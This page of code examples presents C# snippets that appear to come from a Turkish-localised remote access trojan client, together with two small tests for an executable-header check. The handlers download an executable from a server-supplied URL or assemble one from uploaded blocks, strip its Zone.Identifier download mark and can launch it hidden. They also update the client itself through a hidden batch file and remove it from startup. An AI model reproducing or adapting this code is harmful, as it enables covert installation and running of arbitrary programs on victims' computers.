コード例 #1
0
        public void ValidateInvalidFileTest()
        {
            var bytes = new byte[] { 22, 93 };

            var result = DosyaYardımcısı.ExeValidmiKardeş(bytes);

            Assert.IsFalse(result, "Geçersiz dosya kontrolü başarılı!");
        }
コード例 #2
0
        public void ValidateExecutableTest()
        {
            var bytes = new byte[] { 77, 90 };

            var result = DosyaYardımcısı.ExeValidmiKardeş(bytes);

            Assert.IsTrue(result, ".exe dosyası geçerliliği kontrol etme başarısız!");
        }
コード例 #3
0
        public static void HandleDoDownloadAndExecute(Paketler.ServerPaketleri.DoDownloadAndExecute command,
                                                      Client client)
        {
            new Paketler.ClientPaketleri.SetStatus("Dosya İndiriliyor...").Execute(client);

            new Thread(() =>
            {
                string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.URL, tempFile);
                    }
                }
                catch
                {
                    new Paketler.ClientPaketleri.SetStatus("İndirme Başarısız").Execute(client);
                    return;
                }

                new Paketler.ClientPaketleri.SetStatus("Dosya İndirildi!").Execute(client);

                try
                {
                    DosyaYardımcısı.DeleteZoneIdentifier(tempFile);

                    var bytes = File.ReadAllBytes(tempFile);
                    if (!DosyaYardımcısı.ExeValidmiKardeş(bytes))
                    {
                        throw new Exception("herhangi bir pe dosyası bulunamadı.");
                    }

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName        = tempFile;
                    Process.Start(startInfo);
                }
                catch
                {
                    NativeMethods.DeleteFile(tempFile);
                    new Paketler.ClientPaketleri.SetStatus("Yürütme Başarısız!").Execute(client);
                    return;
                }

                new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client);
            }).Start();
        }
コード例 #4
0
        public static void Update(Client client, string newFilePath)
        {
            try
            {
                DosyaYardımcısı.DeleteZoneIdentifier(newFilePath);

                var bytes = File.ReadAllBytes(newFilePath);
                if (!DosyaYardımcısı.ExeValidmiKardeş(bytes))
                {
                    throw new Exception("Pe Dosyası Bulunamadı");
                }

                var batchFile = DosyaYardımcısı.GüncellemeBatı(newFilePath, Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Güncelleme Bat Dosyası Oluşturulamadı.");
                }

                var startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                if (Settings.STARTUP)
                {
                    Başlangıç.RemoveFromStartup();
                }

                Program.ConnectClient.Exit();
            }
            catch (Exception ex)
            {
                NativeMethods.DeleteFile(newFilePath);
                new SetStatus(string.Format("Güncelleme Başarısız Oldu: {0}", ex.Message)).Execute(client);
            }
        }
コード例 #5
0
        public static void HandleDoUploadAndExecute(Paketler.ServerPaketleri.DoUploadAndExecute command, Client client)
        {
            if (!_renamedFiles.ContainsKey(command.ID))
            {
                _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(Path.GetExtension(command.FileName)));
            }

            string filePath = _renamedFiles[command.ID];

            try
            {
                if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
                {
                    throw new Exception("Exe dosyası bulunamadı.");
                }

                FileSplit destFile = new FileSplit(filePath);

                if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                {
                    throw new Exception(destFile.LastError);
                }

                if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                    {
                        _renamedFiles.Remove(command.ID);
                    }

                    DosyaYardımcısı.DeleteZoneIdentifier(filePath);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName        = filePath;
                    Process.Start(startInfo);

                    new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client);
                }
            }
            catch (Exception ex)
            {
                if (_renamedFiles.ContainsKey(command.ID))
                {
                    _renamedFiles.Remove(command.ID);
                }
                NativeMethods.DeleteFile(filePath);
                new Paketler.ClientPaketleri.SetStatus(string.Format("Yürütme Başarısız: {0}", ex.Message)).Execute(client);
            }
        }
コード例 #6
0
        public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
        {
            // YARRAK GİBİ UPDATE CODE İNC.
            if (string.IsNullOrEmpty(command.DownloadURL))
            {
                if (!_renamedFiles.ContainsKey(command.ID))
                {
                    _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(".exe"));
                }

                string filePath = _renamedFiles[command.ID];

                try
                {
                    if (command.CurrentBlock == 0 && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
                    {
                        throw new Exception("EXE Bulunamadı.");
                    }

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    {
                        throw new Exception(destFile.LastError);
                    }

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload Bitimi
                    {
                        if (_renamedFiles.ContainsKey(command.ID))
                        {
                            _renamedFiles.Remove(command.ID);
                        }
                        new SetStatus("Yükleniyor...").Execute(client);
                        ClientGüncelleyici.Update(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                    {
                        _renamedFiles.Remove(command.ID);
                    }
                    NativeMethods.DeleteFile(filePath);
                    new SetStatus(string.Format("Yükleme Başarısız: {0}", ex.Message)).Execute(client);
                }

                return;
            }

            new Thread(() =>
            {
                new SetStatus("Dosya İndiriliyor...").Execute(client);

                string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new SetStatus("İndirme Başarısız").Execute(client);
                    return;
                }

                new SetStatus("Yükleniyor...").Execute(client);

                ClientGüncelleyici.Update(client, tempFile);
            }).Start();
        }